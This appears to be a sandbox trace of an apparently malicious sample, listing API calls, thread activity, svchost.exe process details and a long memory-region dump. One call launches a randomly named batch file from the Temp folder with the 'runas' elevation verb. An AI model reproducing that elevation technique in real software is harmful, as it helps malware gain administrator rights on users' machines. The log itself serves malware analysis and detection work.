[0131.396] GetCurrentProcessId () returned 0xd70 [0131.396] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.397] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 [0131.398] GetCurrentProcessId () returned 0xd70 Thread: id = 19 os_tid = 0x1dc [0100.359] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0100.359] RoInitialize () returned 0x1 [0100.359] RoUninitialize () returned 0x0 [0100.365] CoUninitialize () Thread: id = 20 os_tid = 0x1118 [0102.118] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0102.118] RoInitialize () returned 0x1 [0102.118] RoUninitialize () returned 0x0 [0102.124] CoUninitialize () Thread: id = 21 os_tid = 0x1208 [0102.735] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0102.736] CoGetContextToken (in: pToken=0x1bd0efb0 | out: pToken=0x1bd0efb0) returned 0x0 [0102.736] CObjectContext::QueryInterface () returned 0x0 [0102.736] CObjectContext::GetCurrentThreadType () returned 0x0 [0102.736] Release () returned 0x0 [0102.736] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0102.736] CoUninitialize () [0102.736] RoInitialize () returned 0x1 [0102.736] RoUninitialize () returned 0x0 [0124.350] CoUninitialize () Thread: id = 22 os_tid = 0x1184 Thread: id = 131 os_tid = 0x1178 [0125.180] CoGetContextToken (in: pToken=0x1b20f4f0 | out: pToken=0x1b20f4f0) returned 0x0 [0125.180] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b20f528 | out: ppvObject=0x1b20f528*=0x6124e8) returned 0x0 [0125.181] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b20f598 | out: pThreadType=0x1b20f598*=0) returned 0x0 [0125.181] IUnknown:Release (This=0x6124e8) returned 0x1 Thread: id = 187 os_tid = 0xc04 [0128.811] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0128.812] CoGetContextToken (in: pToken=0x1b80eec0 | out: pToken=0x1b80eec0) returned 0x0 [0128.812] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b80eef8 | out: ppvObject=0x1b80eef8*=0x6124e8) returned 0x0 [0128.812] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b80ef68 | out: pThreadType=0x1b80ef68*=0) returned 0x0 [0128.812] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.812] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0128.812] CoUninitialize () [0128.812] RoInitialize () returned 0x1 [0128.813] RoUninitialize () returned 0x0 Thread: id = 188 os_tid = 0xc08 Thread: id = 191 os_tid = 0xc1c [0130.722] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0130.722] RoInitialize () returned 0x1 [0130.722] RoUninitialize () returned 0x0 [0130.732] ShellExecuteExW (in: pExecInfo=0x288c348*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x288c348*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x6d8)) returned 1 [0131.765] CoGetContextToken (in: pToken=0x1b20f100 | out: pToken=0x1b20f100) returned 0x0 [0131.765] CoUninitialize () Thread: id = 192 os_tid = 0xc20 Thread: id = 193 os_tid = 0xc24 Thread: id = 194 os_tid = 0xc28 Thread: id = 195 os_tid = 0xc2c Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x74f36000" os_pid = "0x358" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ac07" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1626 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1627 start_va = 0xe588800000 end_va = 0xe5889fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e588800000" filename = "" Region: id = 1628 start_va = 0xe588a00000 end_va = 0xe588a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e588a00000" filename = "" Region: id = 1629 start_va = 0xe588c00000 end_va = 0xe588cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e588c00000" filename = "" Region: id = 1630 start_va = 0xe588d00000 end_va = 0xe588dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e588d00000" filename = "" Region: id = 1631 start_va = 0xe588f00000 end_va = 0xe588ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e588f00000" filename = "" Region: id = 1632 start_va = 0xe589000000 end_va = 0xe58907ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589000000" filename = "" Region: id = 1633 start_va = 0xe589080000 end_va = 0xe58917ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589080000" filename = "" Region: id = 1634 start_va = 0xe589180000 end_va = 0xe58927ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589180000" filename = "" Region: id = 1635 start_va = 0xe589280000 end_va = 0xe5892fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589280000" filename = "" Region: id = 1636 start_va = 0xe589300000 end_va = 0xe5893fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589300000" filename = "" Region: id = 1637 start_va = 0xe589500000 end_va = 0xe5895fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589500000" filename = "" Region: id = 1638 start_va = 0xe589600000 end_va = 0xe5896fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589600000" filename = "" Region: id = 1639 start_va = 0xe589700000 end_va = 0xe5897fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589700000" filename = "" Region: id = 1640 start_va = 0xe589800000 end_va = 0xe5898fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589800000" filename = "" Region: id = 1641 start_va = 0xe589a00000 end_va = 0xe589afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589a00000" filename = "" Region: id = 1642 start_va = 0xe589c00000 end_va = 0xe589cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589c00000" filename = "" Region: id = 1643 start_va = 0xe589d80000 end_va = 0xe589e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589d80000" filename = "" Region: id = 1644 start_va = 0xe589e80000 end_va = 0xe589f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589e80000" filename = "" Region: id = 1645 start_va = 0xe589f80000 end_va = 0xe58a07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e589f80000" filename = "" Region: id = 1646 start_va = 0xe58a300000 end_va = 0xe58a3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58a300000" filename = "" Region: id = 1647 start_va = 0xe58a400000 end_va = 0xe58a4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58a400000" filename = "" Region: id = 1648 start_va = 0xe58a580000 end_va = 0xe58a67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58a580000" filename = "" Region: id = 1649 start_va = 0xe58a680000 end_va = 0xe58a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58a680000" filename = "" Region: id = 1650 start_va = 0xe58a980000 end_va = 0xe58aa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58a980000" filename = "" Region: id = 1651 start_va = 0xe58ab00000 end_va = 0xe58ab7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58ab00000" filename = "" Region: id = 1652 start_va = 0xe58ad00000 end_va = 0xe58ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58ad00000" filename = "" Region: id = 1653 start_va = 0xe58ad80000 end_va = 0xe58ae7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58ad80000" filename = "" Region: id = 1654 start_va = 0xe58af00000 end_va = 0xe58af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58af00000" filename = "" Region: id = 1655 start_va = 0xe58b000000 end_va = 0xe58b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b000000" filename = "" Region: id = 1656 start_va = 0xe58b180000 end_va = 0xe58b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b180000" filename = "" Region: id = 1657 start_va = 0xe58b200000 end_va = 0xe58b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b200000" filename = "" Region: id = 1658 start_va = 0xe58b480000 end_va = 0xe58b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b480000" filename = "" Region: id = 1659 start_va = 0xe58b580000 end_va = 0xe58b67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b580000" filename = "" Region: id = 1660 start_va = 0xe58b680000 end_va = 0xe58b77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b680000" filename = "" Region: id = 1661 start_va = 0xe58b780000 end_va = 0xe58b87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b780000" filename = "" Region: id = 1662 start_va = 0xe58b880000 end_va = 0xe58b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b880000" filename = "" Region: id = 1663 start_va = 0xe58b980000 end_va = 0xe58ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58b980000" filename = "" Region: id = 1664 start_va = 0xe58ba80000 end_va = 0xe58bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58ba80000" filename = "" Region: id = 1665 start_va = 0xe58bb80000 end_va = 0xe58bc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58bb80000" filename = "" Region: id = 1666 start_va = 0xe58bc80000 end_va = 0xe58bd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58bc80000" filename = "" Region: id = 1667 start_va = 0xe58bd80000 end_va = 0xe58be7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58bd80000" filename = "" Region: id = 1668 start_va = 0xe58c480000 end_va = 0xe58c57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58c480000" filename = "" Region: id = 1669 start_va = 0xe58cd00000 end_va = 0xe58cdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58cd00000" filename = "" Region: id = 1670 start_va = 0xe58ce00000 end_va = 0xe58cefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58ce00000" filename = "" Region: id = 1671 start_va = 0xe58cf00000 end_va = 0xe58cffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58cf00000" filename = "" Region: id = 1672 start_va = 0xe58d000000 end_va = 0xe58d0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58d000000" filename = "" Region: id = 1673 start_va = 0xe58d100000 end_va = 0xe58d17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58d100000" filename = "" Region: id = 1674 start_va = 0xe58d480000 end_va = 0xe58d57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58d480000" filename = "" Region: id = 1675 start_va = 0xe58f000000 end_va = 0xe58f0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f000000" filename = "" Region: id = 1676 start_va = 0xe58f100000 end_va = 0xe58f1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f100000" filename = "" Region: id = 1677 start_va = 0xe58f200000 end_va = 0xe58f2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f200000" filename = "" Region: id = 1678 start_va = 0xe58f300000 end_va = 0xe58f3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f300000" filename = "" Region: id = 1679 start_va = 0xe58f400000 end_va = 0xe58f4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f400000" filename = "" Region: id = 1680 start_va = 0xe58f500000 end_va = 0xe58f5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f500000" filename = "" Region: id = 1681 start_va = 0xe58f600000 end_va = 0xe58f67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f600000" filename = "" Region: id = 1682 start_va = 0xe58f680000 end_va = 0xe58f6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58f680000" filename = "" Region: id = 1683 start_va = 0xe58fb00000 end_va = 0xe58fbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58fb00000" filename = "" Region: id = 1684 start_va = 0xe58fc00000 end_va = 0xe58fcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58fc00000" filename = "" Region: id = 1685 start_va = 0xe58fd00000 end_va = 0xe58fdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58fd00000" filename = "" Region: id = 1686 start_va = 0xe58fe00000 end_va = 0xe58fefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58fe00000" filename = "" Region: id = 1687 start_va = 0xe58ff00000 end_va = 0xe58fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e58ff00000" filename = "" Region: id = 1688 start_va = 0xe590000000 end_va = 0xe5900fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590000000" filename = "" Region: id = 1689 start_va = 0xe590100000 end_va = 0xe5901fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590100000" filename = "" Region: id = 1690 start_va = 0xe590200000 end_va = 0xe59027ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590200000" filename = "" Region: id = 1691 start_va = 0xe590300000 end_va = 0xe59037ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590300000" filename = "" Region: id = 1692 start_va = 0xe590380000 end_va = 0xe59047ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590380000" filename = "" Region: id = 1693 start_va = 0xe590480000 end_va = 0xe59057ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590480000" filename = "" Region: id = 1694 start_va = 0xe590580000 end_va = 0xe5905fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590580000" filename = "" Region: id = 1695 start_va = 0xe590600000 end_va = 0xe59067ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590600000" filename = "" Region: id = 1696 start_va = 0xe590680000 end_va = 0xe59077ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590680000" filename = "" Region: id = 1697 start_va = 0xe590780000 end_va = 0xe5907fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590780000" filename = "" Region: id = 1698 start_va = 0xe590800000 end_va = 0xe5908fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590800000" filename = "" Region: id = 1699 start_va = 0xe590900000 end_va = 0xe5909fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590900000" filename = "" Region: id = 1700 start_va = 0xe590a00000 end_va = 0xe590afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590a00000" filename = "" Region: id = 1701 start_va = 0xe590b00000 end_va = 0xe590bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590b00000" filename = "" Region: id = 1702 start_va = 0xe590c00000 end_va = 0xe590cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590c00000" filename = "" Region: id = 1703 start_va = 0xe590d00000 end_va = 0xe590dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590d00000" filename = "" Region: id = 1704 start_va = 0xe590e00000 end_va = 0xe590efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e590e00000" filename = "" Region: id = 1705 start_va = 0xe591000000 end_va = 0xe5910fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591000000" filename = "" Region: id = 1706 start_va = 0xe591100000 end_va = 0xe5911fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591100000" filename = "" Region: id = 1707 start_va = 0xe591200000 end_va = 0xe5912fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591200000" filename = "" Region: id = 1708 start_va = 0xe591300000 end_va = 0xe5913fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591300000" filename = "" Region: id = 1709 start_va = 0xe591500000 end_va = 0xe59157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591500000" filename = "" Region: id = 1710 start_va = 0xe591580000 end_va = 0xe5915fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591580000" filename = "" Region: id = 1711 start_va = 0xe591600000 end_va = 0xe5916fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591600000" filename = "" Region: id = 1712 start_va = 0xe591a00000 end_va = 0xe591afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591a00000" filename = "" Region: id = 1713 start_va = 0xe591b00000 end_va = 0xe591bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e591b00000" filename = "" Region: id = 1714 start_va = 0xe592100000 end_va = 0xe5921fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592100000" filename = "" Region: id = 1715 start_va = 0x28611c80000 end_va = 0x28611c8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611c80000" filename = "" Region: id = 1716 start_va = 0x28611c90000 end_va = 0x28611c90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1717 start_va = 0x28611ca0000 end_va = 0x28611cb4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611ca0000" filename = "" Region: id = 1718 start_va = 0x28611cc0000 end_va = 0x28611cc3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611cc0000" filename = "" Region: id = 1719 start_va = 0x28611cd0000 end_va = 0x28611cd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611cd0000" filename = "" Region: id = 1720 start_va = 0x28611ce0000 end_va = 0x28611ce1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028611ce0000" filename = "" Region: id = 1721 start_va = 0x28611cf0000 end_va = 0x28611dadfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1722 start_va = 0x28611db0000 end_va = 0x28611db6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028611db0000" filename = "" Region: id = 1723 start_va = 0x28611dc0000 end_va = 0x28611dc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028611dc0000" filename = "" Region: id = 1724 start_va = 0x28611dd0000 end_va = 0x28611dd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028611dd0000" filename = "" Region: id = 1725 start_va = 0x28611de0000 end_va = 0x28611de0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611de0000" filename = "" Region: id = 1726 start_va = 0x28611df0000 end_va = 0x28611df0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611df0000" filename = "" Region: id = 1727 start_va = 0x28611e00000 end_va = 0x28611efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028611e00000" filename = "" Region: id = 1728 start_va = 0x28611f00000 end_va = 0x28611fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611f00000" filename = "" Region: id = 1729 start_va = 0x28611fc0000 end_va = 0x28611fc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028611fc0000" filename = "" Region: id = 1730 start_va = 0x28611fd0000 end_va = 0x28611fd1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611fd0000" filename = "" Region: id = 1731 start_va = 0x28611fe0000 end_va = 0x28611fe1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611fe0000" filename = "" Region: id = 1732 start_va = 0x28611ff0000 end_va = 0x28611ff0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028611ff0000" filename = "" Region: id = 1733 start_va = 0x28612000000 end_va = 0x286120fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612000000" filename = "" Region: id = 1734 start_va = 0x28612100000 end_va = 0x28612287fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028612100000" filename = "" Region: id = 1735 start_va = 0x28612290000 end_va = 0x28612410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028612290000" filename = "" Region: id = 1736 start_va = 0x28612420000 end_va = 0x28612420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028612420000" filename = "" Region: id = 1737 start_va = 0x28612430000 end_va = 0x2861243cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1738 start_va = 0x28612440000 end_va = 0x28612441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028612440000" filename = "" Region: id = 1739 start_va = 0x28612450000 end_va = 0x28612453fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1740 start_va = 0x28612460000 end_va = 0x286124a4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 1741 start_va = 0x286124b0000 end_va = 0x286124b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1742 start_va = 0x286124c0000 end_va = 0x286124d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1743 start_va = 0x286124e0000 end_va = 0x286124e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286124e0000" filename = "" Region: id = 1744 start_va = 0x286124f0000 end_va = 0x286124f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "newdev.dll.mui" filename = "\\Windows\\System32\\en-US\\newdev.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\newdev.dll.mui") Region: id = 1745 start_va = 0x28612500000 end_va = 0x2861250cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 1746 start_va = 0x28612510000 end_va = 0x28612511fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 1747 start_va = 0x28612520000 end_va = 0x28612526fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612520000" filename = "" Region: id = 1748 start_va = 0x28612530000 end_va = 0x286125bdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 1749 start_va = 0x286125c0000 end_va = 0x286125c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286125c0000" filename = "" Region: id = 1750 start_va = 0x286125d0000 end_va = 0x286125d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286125d0000" filename = "" Region: id = 1751 start_va = 0x286125e0000 end_va = 0x286125e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286125e0000" filename = "" Region: id = 1752 start_va = 0x286125f0000 end_va = 0x286125f8fff monitored = 0 